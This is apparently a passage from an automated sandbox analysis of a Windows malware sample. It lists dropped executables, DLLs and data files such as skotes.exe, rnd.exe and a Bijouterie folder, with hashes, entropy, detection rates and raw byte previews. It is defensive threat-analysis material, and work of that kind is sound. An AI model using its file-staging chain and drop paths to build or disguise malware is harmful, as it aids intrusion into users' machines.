Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL...........@.................................W...k.......H....................%L..............................%L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .@+.........................@...hockpqtz.@....1..6..................@...wxulotut.....0L.....................@....taggant.0...@L.."...2..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ONMZACOW\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.393939116683621
Encrypted:	false
SSDEEP:	96:6NnQSHQ7NnQw/hbQwwNnQB899QBKNnQtdgEQ8NnQsQbNnQsDQ/NnQ/5SwQ/ZNnQN:6NYNKNdN0VNQNhQN71Nq
MD5:	437192F37D9E0E60A9F3D5FB3929B2C8
SHA1:	D8B6029E5A930C5F108EBD9BA97FB6F1A20AC002
SHA-256:	A793D992D5120FDAF3331A2FEA6E743082607BBDB3414FC34FADAFFC8F4BE6BE
SHA-512:	417E4626779CD29F1308731FC9F309358903A5EF32D84D81D4012AB74BF53AD1E28623F912F477BC8D508E2362040E1C2331A6D141552987B8378C0CCDA35AE4
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/75FD73525ACF745AC138E178B223C0EB",.. "id": "75FD73525ACF745AC138E178B223C0EB",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/75FD73525ACF745AC138E178B223C0EB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/92C953007FEE5970D02D2F5DB45F66B7",.. "id": "92C953007FEE5970D02D2F5DB45F66B7",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/92C953007FEE5970D02D2F5DB45F66B7"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	835584
Entropy (8bit):	7.981889073646491
Encrypted:	false
SSDEEP:	12288:cioHDT66oPyXxAvdZIby/neSFwn68x+ng2QLK6HfxWdwXimuxX4CccpdHFOxAbid:ctDfXGZIondCTt2UbxzDuxlXdcxAuWPy
MD5:	BE1C8697354FE94E19FBB58E316C0C8D
SHA1:	EA3688CAA2C53C6986D0931D08E475DB927CC938
SHA-256:	0D978D177B3CA20730C8DD5C35CBDCFE51439A4E2B73D7867A2AA38007223740
SHA-512:	BA99C5C94E18DA11CEDA5DF73A31696B61C75F5BEA7BB10551B736FE45149FBF69491211AB2C07EF384834DEEC241D18E1554F2BC544A8590A26DC7B9E3A498C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...0........J...@..........................`......%TC...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...qgdzfrry. ............'.............@...dlceznyc..... ........B.............@....taggant.0...0..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0fb357af-c525-4bac-88b9-5d668ddfc6b8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1511791
Entropy (8bit):	7.991008708597038
Encrypted:	true
SSDEEP:	24576:Nrhy0iqX1p56evfIw8NA0zBRHUtHSoX3dr4jIIoD5VRF/MLHQjup9VAZ9DhJYT56:/ydqXkQfQhHoSondrgoD5Vv/+wipAZVp
MD5:	9AF6587880B9F4C7FA5D3808F306B2F3
SHA1:	9D6EED0E627C706F43C0BFD0EC6E51414E30A1E3
SHA-256:	3186164F144A70A304BCCE5CD00618B7ACC87A733FAF9D928264939D9ED33445
SHA-512:	3D9702DFB42DA0627797312CAD47A8E8D89836B8E0A3F4A9A3B713EE8D46278BA17622ECDE934B600EEE56D06829184F0F4F58D797CBF1F233CA2A468BEB7BB3
Malicious:	false
Preview:	.PNG........IHDR...2...2......?.....?iCCPICC Profile..H..W.XS...[.....@@J.M......B..6B. ...A...v...].Q..bG.,../.T.u.`W............9.3...{....<.$... _\(...d.JMc.......8.K..@......../..D.^q.k.....-.......q......~...DZ..Q.[L..1.@G...x..g)q..g(.n.Mb<..V..<.4...%.3..YP.....X ....../?....t.m...b.>+.....if.j.xY.X9.EQ...H.xS..t..'..a.+5[../.3......rL..G.....6..D..=.(%[....G.....3...........!..H...)..B.W.:YT.M.X........F.x./.!S.a...<....}Yn.[..:[.U.c......).[....!.C.T......Y.........[B./......LiH..,.``...l.7Z...f'.)..y...\.KB1;i@GX0r`..aP.r..3.8)A..AR.....S$y.{.\....!v+(JP....T....De.xq./<V....D....L .5.L.9@......=!... ............k.(..B$.......BP........2..E....... ...{.b.x.[2x...?..`..x.`...{~...!..bd.......`b.1..B...q?......X]p..50....'...C.5B'..xQ...(.@'..Q."..\..P....}.:T..pC...A?l..zv.,G..<+...6......LF.C..d.G.....\...e..........C............`'.s.a..0.cX........X.....+..:....x..L.8.:w;.Q...'...3A2E*...d...A...N......./...8.w..k.......c.....s......

C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6821123
Entropy (8bit):	7.986175594759049
Encrypted:	false
SSDEEP:	98304:vi0rHj8I5IxALsFFyTFaYTXMHyAw8aMAKa392mAYYqUSoYTk0KGjp2kizn:vi0rDyraTFNKyLUAKw2B7qUShTkQjDir
MD5:	BFC5EA31B4AEEFEC1508E8F5B458E574
SHA1:	976FE53A467068719F70A856DCA3BB7B65A9D6DC
SHA-256:	44997A5AA2709C2CEF26EA501D4F01140D34B59F0FD182282354598EEF4B224B
SHA-512:	146EF0163DF8BE2C8E5A834C27D731C817E0540A30D4E4746109FD564C33D2D7F00560017F0D5B9ADE9EEA05611ED440F64022F97E30949E5BB58041452F590E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......u..!1jhr1jhr1jhr...r9jhr...r.jhr...r<jhr...r3jhr..ls#jhr..ks8jhr..ms.jhr8..r8jhr8..r3jhr8..r6jhr1jir<khr..ms.jhr..hs0jhr...r0jhr..js0jhrRich1jhr................PE..d......e.........."....!.....\|.................@..........................................`.........................................0...4...d...P............P...$..................p...T...............................@...............p............................text...~........................... ..`.rdata..j...........................@..@.data....k..........................@....pdata...$...P...&..................@..@.didat..............................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\1008231001\fb1f3ab244.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	835584
Entropy (8bit):	7.981889073646491
Encrypted:	false
SSDEEP:	12288:cioHDT66oPyXxAvdZIby/neSFwn68x+ng2QLK6HfxWdwXimuxX4CccpdHFOxAbid:ctDfXGZIondCTt2UbxzDuxlXdcxAuWPy
MD5:	BE1C8697354FE94E19FBB58E316C0C8D
SHA1:	EA3688CAA2C53C6986D0931D08E475DB927CC938
SHA-256:	0D978D177B3CA20730C8DD5C35CBDCFE51439A4E2B73D7867A2AA38007223740
SHA-512:	BA99C5C94E18DA11CEDA5DF73A31696B61C75F5BEA7BB10551B736FE45149FBF69491211AB2C07EF384834DEEC241D18E1554F2BC544A8590A26DC7B9E3A498C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....<g...............(..I...s..2...0........J...@..........................`......%TC...@... ............................._.q.s................................................................................................................... . ..p......x'.................@....rsrc ......p.......'.............@....idata ......q.......'.............@... ..7...q.......'.............@...qgdzfrry. ............'.............@...dlceznyc..... ........B.............@....taggant.0...0..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2ce420b7-8ed0-41c9-8b18-b0636e898e9c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\3ec7f2ca-bce4-4e7d-bfe2-5e3e93b39d92.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\6dea31ce-0552-4263-8291-eb49cd934e91.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 135363
Category:	dropped
Size (bytes):	76326
Entropy (8bit):	7.9961120748813075
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz8vBBrYunau6wp:GdS8scZNzFrMa4M+lKqeu/nr
MD5:	01E352D35675990A139199DD86B38AAC
SHA1:	E16163C81E5F36B3B819AA0A63BFA63D88548A91
SHA-256:	148CDE42D38C62C1A1E8B8D3D4BD8830F0F8C2DC684E3C59B0A510E31011CA4A
SHA-512:	75A58FFAD6E3E0546268CC863AE382B5429795D8BCED64BAE2D06BCEEB6C2E37BD656A3E335EB61B521888B76913F2D0281F8C9C081FF8637307AE5934D98C8B
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\Bijouterie\Mp3tag.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12606192
Entropy (8bit):	6.431140800392858
Encrypted:	false
SSDEEP:	98304:ReAtQzKADvk/9TEaImN9/tiHBIn8c3hCEFRUTaZnPZOtXwH:ReAOWOM/FE1mNHiFc3hr7UTaZnhOtXwH
MD5:	A7118DFFEAC3772076F1A39A364D608D
SHA1:	6B984D9446F23579E154EC47437B9CF820FD6B67
SHA-256:	F1973746AC0A703B23526F68C639436F0B26B0BC71C4F5ADF36DC5F6E8A7F4D0
SHA-512:	F547C13B78ACDA9CA0523F0F8CD966C906F70A23A266AC86156DC7E17E6349E5F506366787E7A7823E2B07B0D614C9BD08E34CA5CC4F48799B0FE36AC836E890
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................P...........!..L.!This program cannot be run in DOS mode....$.........O...!...!...!..."...!...!...!.j.....!...&...!...%...!...$.J.!...'...!.j.%...!.j."...!.j.$...!...$...!...%...!.[.%.<.!.[.$...!... ...!... ...!... ...!.[.(...!.[.....!.......!.[.#...!.Rich..!.................PE..d...%ZPf..........#....'.....XA......zG........@.............................P......)..... ..........................................................@...............2...(..............T.......................(...@...@............................................text...\|........................... ..`.rdata..P@.......B..................@..@.data............$.................@....pdata..............................@..@_RDATA.......0.......&..............@..@.rsrc........@.......(..............@..@................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Bijouterie\fgq

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe
File Type:	data
Category:	dropped
Size (bytes):	1278049
Entropy (8bit):	7.944499847118911
Encrypted:	false
SSDEEP:	24576:fokKHi3OWK6EmjunuvpzGBmg758xHXfkQBabgiNJfaM9t2lc:g9HizcmjuMpqBwz4Jf3t2u
MD5:	F6461CCD814A2EAD19BEEBA2125B5368
SHA1:	449EDE26EEB5234F02A9D4B5A19FA7B6FFC4A1DF
SHA-256:	8FB4E6D589830F39DB50877B542B11281E56762CAAA2742719B2AC042DD6CBD1
SHA-512:	FA8C7368597D79451FC47447EA1AC9E831B2B7835C6542A161BD74B0084DA66FFF4AC0555DCE0EEA64630887A2D953674125B1E2E9295A37B7BAC678DC606FCD
Malicious:	false
Preview:	...yH.u.ErA..`G...C..VsP..A..^e.K.B..pmsI.xk.S...i...K.b...G.dS..m.hm.BK..._.J.w]BluumQ..dds.W..J...c.F\...f.ReMS.oP.r..oTtf`..t.yb..t..sfYd......y.\nHI.oc.a.aoZ^p....U.rG_bGs.[^......s..M.B....CT..XJ.]hU.H.QS....LV.iy.H.hqXS_.pZ..D..c..C..K.F..v..V.g....cBU......b.f...U[.U\..Ok..d..A^...c.\..Pi..Abu..W.D....K..JS......r..m...P.CQM].b..s..HpA.._L._.p.I.t...sg.vVSn...FoGW...c.m..o.Q._w.[Rg...[KE..IN..yH...IR`NGyLp..nVL.h..xu.W.e.qTn.KyBvd^TVoO^.AcJ..Q..i.f..CiniB.ME.DL..T....GYO.X..r.._....uD.F....\..Y.d..wwD.hcs_..V]......u]..EX.y.feu._jA.Ktm.KcQf...tEN.MA.Z.MGuKPnHtY\uGy.h]..C.T....O....dS]..M[..f[^cm^....\.^.......XT.i.k.....K.JwL.l.\K.lky......oS...N......B...Jd....cy..V.THi..L..prd..Z.F..m^....bb.iY.EEbR...Jh.N...YFZ.e..E.aR.Rao.WO.........qXaN]W..v^.uN...rP.I...uf^.Uj[.vnO..h^AH.lS...QQ.CX..fo..o...oE...U.tGckC....Cl.....K._.g.s.Y.YRC..Z.F.D.....KdN.MVW].\y.VYHJ..aWg.RE.DW..eHLm..\.eMR......j..uV...].....ZcL..\.okD..Bs....SZ[...`R.lt.mDS.PE.hH]....EpO]....UZT..JN.....w.E.kP.K..[jN

C:\Users\user\AppData\Local\Temp\Bijouterie\tak_deco_lib.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	323072
Entropy (8bit):	5.886344944882455
Encrypted:	false
SSDEEP:	3072:h0b/GJ1RdK6UwambkfOhOmesG+4ny2lV07j4:ayFs2IfmRHAyQVc
MD5:	EE7F11BEAF317EF7185B0CEC9A8CCFF4
SHA1:	274EBB8D1ADFA6D49E1D3FC85CF942357C8A7653
SHA-256:	6C2D0A8831E82FC3889E94EF3E986660E38175AE406FEA5A66E3D1F5C014EE97
SHA-512:	CDEEC3FBD4EFF63F64AAD6559C36654416AFAE5E7314DF1A756580DC52B6024C52F0F3803356B85D2095DFC136DE9234271A14EC843AF3CF3836B67BB30362B1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........................................................................................................................................PE..d.....b.........." ..........................@...................................................................... ...............0..........v................7...........P...'......................................................X.... .......................text...P........................... ..`.data...8s.......t..................@....bss........p...........................idata..v............V..............@....didata...... .......f..............@....edata.......0.......h..............@..@.rdata..F....@.......n..............@..@.reloc...'...P...(...p..............@..B.pdata...7.......8..................@..@.rsrc...............................@..@....................................@..@........................................

C:\Users\user\AppData\Local\Temp\Bijouterie\ymv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1008217001\rnd.exe
File Type:	data
Category:	dropped
Size (bytes):	14675
Entropy (8bit):	6.3129340327989825
Encrypted:	false
SSDEEP:	384:R+l02iZzxnnry2FDlVleoxhDrFdBT++7TO7:k9MNrZFJTZXDr5+QO7
MD5:	C40639E251F6F49D3F4C140CD1FC3D9C
SHA1:	7F531F2AD30F3BF2F637CEA7087F3E432CC54ADF
SHA-256:	2481D67EEEF5025767464E90969C913F198EAA8171F8EBB8E61CD92CA880293F
SHA-512:	D327399A1FB31203FD1B8AA991369DA907A4538BD77F69B0FC6568221CC3099300437D8E5F3F959C501FFCEF2E728971F33E2FCF0D453E96A84458A23ABB9480
Malicious:	false
Preview:	ICR.p....`v.g...Ik.....G.d....i.uvG..hnFB^.bh`YvC..xsw.U.Pu.`.fE..trZWq..d[..L....V.........KY..o.Fe.oI.qG.vogpy.aCo...bytk^....Aq..^.L^[a[B...e.wlSb.hXQxjYmA..V.VJs.JAM..P...t...a.Q.........]..L[iyrm...YM.e..s.W.d..sk...ba..e.......ne...Bu.o...D.USRWTt....b..nR..VH.....l.[.J.v..C.qq.].s.....`.Enwm...w.S..EbN.U...D..My.F..._m.CWD.DW..q.a.e....`.s.t...v.......JPw.bLsn....lM.J.X.....j....R...rA....D.U`..k.mr.br.....w.IhIi\...B..^...cL_\.........[.x.It....I...G.m....pVFqk...rreEc.LGZW...cH.CF..XI.p.bt..iC.PP.\q.HE.q]D....u..H...M..t....Ed..E].....udm....wdI...a.I....i...y.yU...n.e.P`..A.A..\..pS.P.vX...guv.F...U.U.dc.......c.d..W.lkP.gNkB.qW.u.j..c.iki...wj....Ly.xXj_....NGh.X......yj...FaT.j.\o.abgbExRX.NO....^LS\\.uS..rys.blbGVY..YdSA.q..QK.d...._Ys.KHKK........gqf.JP`tK.LYm..g....V.X.`gH\.^b...C.x.We.....L.E...v.Wp..A...Dx.h.Bd......x.JE.qxn......B.w]I..u.v..qa..NP.....L`LKNl[.C.QSN_...NA...O..k.r...V..vS...f.V.N...vh..p....p_q.g.Oqm...b.D..jGO...YcSW.hS[.r...`\YQ.P.^...QS..I.CYw.]k\o`

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsIDGHDGIDAK.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1922048
Entropy (8bit):	7.952724659681467
Encrypted:	false
SSDEEP:	49152://TTxdTbrxgYihAr5xkWqG8E/N3SEry5RUuzen3lBsVL9t:/7TxZb0qrd9ucB8
MD5:	9DDBAC8AABA1C5BB2F9A22717A60A6BA
SHA1:	16712810FCF1BB9C7F1940AF8E2E59B92F4A7B65
SHA-256:	EDEC375A0EF3CE9E3067AA661E9E32FEE7CBA13FF4F3C7AB69D6DB8D7B22B03D
SHA-512:	05D112DAD0D496F825ED88C18D7C196432994F5CCCA9F6F1E098D6376D56C1AA98D8C47E9542ACFE2A53672802E89E68257F607B843E4EBDBD38CD44F1DDBDDD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................@L...........@..........................pL...........@.................................W...k.......H....................%L..............................%L..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .@+.........................@...hockpqtz.@....1..6..................@...wxulotut.....0L.....................@....taggant.0...@L.."...2..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\cc02452a-f582-436d-93ad-feacde958d4f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cd491016-80b8-42ae-8ca6-071f9ce736ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.422236418769456
